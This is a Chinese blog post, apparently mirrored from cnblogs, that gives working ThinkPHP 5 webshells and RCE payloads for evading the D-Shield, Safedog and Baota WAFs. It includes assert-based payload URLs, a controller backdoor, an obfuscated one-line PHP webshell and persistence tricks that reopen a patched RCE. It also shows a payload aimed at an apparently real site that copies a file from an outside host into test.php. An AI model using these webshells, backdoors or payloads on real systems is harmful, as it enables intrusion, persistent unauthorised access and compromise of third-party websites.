zoukankan      html  css  js  c++  java
  • thinkphp下的Webshell&&php过D盾一句话

    环境:

      Thinkphp 5.0.15

      PHP version:7.0.12

      WAF: D盾 ,安全狗

      Thinkphp 采用 MVC 模式  核心:模块 -> 控制器 –> 方法

    思路:利用已经有的think 类包库 去做一些事情

    利用已有的功能,顺便对D盾 绕过 

    方法:

    Payload1:

    http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()

    Payload2:

    http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)

    代码:

    <?php
    namespace appindexcontroller;
    use 	hinkApp;
    class index
    {
       public function index($f,$shell)
       {
           $a=new App();
           $c=$a->invokeFunction($f,$shell);
           return '</br> sucess';
    
       }
    }

    关于用这个的来源:

     Thinkphp5 rce 漏洞 其中一个payload  是这样的

    ?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    漏洞原因:默认没有开启强制路由,路由控制不严谨,可以执行自己需要的类库

    在think 类库中找到自己需要的功能,进行触发调用

    先贴一个不需要thinkphp 环境下 过D盾 和安全狗的 马

     <?php
    function invokeFunction($function, $vars = [])
    {
        $reflect = new ReflectionFunction($function);
    
        return $reflect->invokeArgs($vars);
    }
    
    $function='a'.'ssert';
    $vars=$_GET[1];
    
    invokeFunction($function,$vars);
    
    
    ?>

    还有一种思路,创建类或者函数,进行包含绕过,有兴趣的可以自己试一下。、

    然后对于thinkphp 权限维持的思路,因为本身内核存在RCE, -这里假设打了补丁的RCE 被某洞获得到权限

    演示以thinkphp 最新版本 5.0.24

     

    在Thinkapp.php 文件内,把! 删掉 就可以继续RCE 了 (只是提供一种维持思路)

    后来想了下,这样对整个站点都不安全了,不适合维持。可以在前面在加一段IF 开关条件  符合就不执行preg_math 这一段,对RCE的漏洞入口进行一个管理操作~

    就可以继续任意执行了

    tp 在 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。  在模板调用的时候 有任意文件包含漏洞,可以自己写一个,当作后门。

    附赠:

    关于thinkphp rce  绕WAF or 宝塔

    这里用了宝塔做测试:

    http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)

    _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

    思路:绕敏感函数,和正则匹配

  • 相关阅读:
    iframe高度100%,自适应高度
    怎么让frameset出现整体滚动条
    页面返回顶部
    HTML页面跳转的5种方法
    java web中路径问题。
    sql server数据库添加记录
    如何获取新浪微博背景图
    JavaScript检查是否包含某个字符
    纯JS省市区三级联动
    document.getElementById方法在火狐和谷歌浏览器兼容
  • 原文地址:https://www.cnblogs.com/0xdd/p/10848671.html
Copyright © 2011-2022 走看看